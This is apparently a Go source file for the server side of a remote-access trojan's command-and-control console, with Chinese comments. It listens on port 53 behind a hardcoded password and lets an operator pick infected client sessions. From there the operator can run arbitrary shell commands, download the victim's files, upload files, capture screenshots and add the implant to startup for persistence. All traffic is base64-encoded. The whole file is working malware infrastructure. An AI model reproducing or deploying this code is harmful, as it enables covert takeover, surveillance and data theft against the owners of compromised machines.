You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
 

245 lines
7.0 KiB

package main
import (
"bufio"
"encoding/base64"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
const (
WHITE = "\x1b[37;1m"
RED = "\x1b[31;1m"
GREEN = "\x1b[32;1m"
YELLOW = "\x1b[33;1m"
BLUE = "\x1b[34;1m"
MAGENTA = "\x1b[35;1m"
CYAN = "\x1b[36;1m"
VERSION = "2.5.0"
)
var (
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")
inputPort = flag.String("PORT", "53", "Listen Port")
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")
counter int //用于会话计数,给map的key使用
connlist map[int]net.Conn = make(map[int]net.Conn) //存储所有连接的会话
connlistIPAddr map[int]string = make(map[int]string) //存储所有IP地址,提供输入标识符显示
lock = &sync.Mutex{}
downloadOutName string
)
func getDateTime() string {
currentTime := time.Now()
// https://golang.org/pkg/time/#example_Time_Format
return currentTime.Format("2006-01-02-15-04-05")
}
// ReadLine 函数等待命令行输入,返回字符串
func ReadLine() string {
buf := bufio.NewReader(os.Stdin)
lin, _, err := buf.ReadLine()
if err != nil {
fmt.Println(RED, "[!] Error to Read Line!")
}
return string(lin)
}
// Socket客户端连接处理程序,专用于接收消息处理
func connection(conn net.Conn) {
defer conn.Close()
var myid int
myip := conn.RemoteAddr().String()
lock.Lock()
counter++
myid = counter
connlist[counter] = conn
connlistIPAddr[counter] = myip
lock.Unlock()
fmt.Printf("--- client: %s connection ---\n", myip)
for {
message, err := bufio.NewReader(conn).ReadString('\n')
//如果客户端断开
if err == io.EOF {
conn.Close()
delete(connlist, myid)
delete(connlistIPAddr, myid)
break
}
decoded, _ := base64.StdEncoding.DecodeString(message)
decMessage := string(decoded)
switch decMessage {
case "download":
//fmt.Println("---收到download指令,等待下一次数据上传---")
// 等待用户上传数据
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Downloading...")
decData, _ := base64.URLEncoding.DecodeString(encData)
downFilePath, _ := filepath.Abs(string(downloadOutName) + getDateTime())
ioutil.WriteFile(downFilePath, []byte(decData), 777)
fmt.Println(GREEN, "-> Download Done...")
case "screenshot":
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Getting ScreenShot...")
decData, _ := base64.URLEncoding.DecodeString(encData)
//filename := myip + getDateTime()+".png"
absFilePath, _ := filepath.Abs(strings.Replace(myip, ":", "_", -1) + getDateTime() + ".png")
ioutil.WriteFile(absFilePath, []byte(decData), 777)
fmt.Printf(GREEN+"-> ScreenShot Done, filename: %s\n", absFilePath)
default:
fmt.Println("\n" + decMessage)
}
}
fmt.Printf("--- %s close---\n", myip)
}
// 等待Socket 客户端连接
func handleConnWait() {
l, err := net.Listen("tcp", *inputIP+":"+*inputPort)
if err != nil {
log.Fatal(err)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
log.Fatal(err)
}
message, err := bufio.NewReader(conn).ReadString('\n')
decoded, _ := base64.StdEncoding.DecodeString(message)
if string(decoded) == *connPwd {
go connection(conn)
} else {
backMsg := base64.URLEncoding.EncodeToString([]byte("back"))
conn.Write([]byte(backMsg + "\n"))
conn.Close()
}
}
}
func main() {
flag.Parse()
go handleConnWait()
connid := 0
for {
fmt.Print(RED, "SESSION ", connlistIPAddr[connid], WHITE, "> ")
command := ReadLine()
_conn, ok := connlist[connid]
switch command {
case "":
// 如果输入为空,则什么都不做
case "help":
fmt.Println("")
fmt.Println(CYAN, "COMMANDS DESCRIPTION")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println(CYAN, "session 选择在线的客户端")
fmt.Println(CYAN, "download 下载远程文件")
fmt.Println(CYAN, "upload 上传本地文件")
fmt.Println(CYAN, "screenshot 远程桌面截图")
fmt.Println(CYAN, "charset gbk 设置客户端命令行输出编码,gbk是简体中文")
fmt.Println(CYAN, "clear 清楚屏幕")
fmt.Println(CYAN, "exit 客户端下线")
fmt.Println(CYAN, "quit 退出服务器端")
fmt.Println(CYAN, "startup 加入启动项目文件夹")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println("")
case "session":
fmt.Println(connlist)
fmt.Print("选择客户端ID: ")
inputid := ReadLine()
if inputid != "" {
var e error
connid, e = strconv.Atoi(inputid)
if e != nil {
fmt.Println("请输入数字")
} else if _, ok := connlist[connid]; ok {
//如果输入并且存在客户端id
_cmd := base64.URLEncoding.EncodeToString([]byte("getos"))
connlist[connid].Write([]byte(_cmd + "\n"))
}
}
case "clear":
ClearScreen()
case "exit":
if ok {
encDownload := base64.URLEncoding.EncodeToString([]byte("exit"))
_conn.Write([]byte(encDownload + "\n"))
}
case "quit":
os.Exit(0)
case "download":
if ok {
// 第一步,发送下载指令
encDownload := base64.URLEncoding.EncodeToString([]byte("download"))
_conn.Write([]byte(encDownload + "\n"))
// 第二步,输入下载路径和要保存的文件名,发送给客户端
fmt.Print("File Path to Download: ")
nameDownload := ReadLine()
fmt.Print("Output name: ")
downloadOutName = ReadLine()
// 下发需要download的文件名路径, conn连接的协程里面接收
encName := base64.URLEncoding.EncodeToString([]byte(nameDownload))
_conn.Write([]byte(encName + "\n"))
fmt.Print(encName)
}
case "screenshot":
if ok {
encScreenShot := base64.URLEncoding.EncodeToString([]byte("screenshot"))
_conn.Write([]byte(encScreenShot + "\n"))
}
case "upload":
if ok {
encUpload := base64.URLEncoding.EncodeToString([]byte("upload"))
_conn.Write([]byte(encUpload + "\n"))
fmt.Print("File Path to Upload: ")
pathUpload := ReadLine()
fmt.Print("Output name: ")
outputName := ReadLine()
encOutput := base64.URLEncoding.EncodeToString([]byte(outputName))
_conn.Write([]byte(encOutput + getDateTime() + "\n"))
fmt.Println(YELLOW, "-> Uploading...")
//上传文件
file, err := ioutil.ReadFile(pathUpload)
if err != nil {
fmt.Println(RED, "[!] File not found!")
break
}
encData := base64.URLEncoding.EncodeToString(file)
_conn.Write([]byte(string(encData) + "\n"))
fmt.Println(GREEN, "-> Upload Done...")
}
default:
if ok {
_cmd := base64.URLEncoding.EncodeToString([]byte(command))
_conn.Write([]byte(_cmd + "\n"))
}
}
}
}
// ClearScreen 清除屏幕
func ClearScreen() {
cmd := exec.Command("clear")
cmd.Stdout = os.Stdout
cmd.Run()
}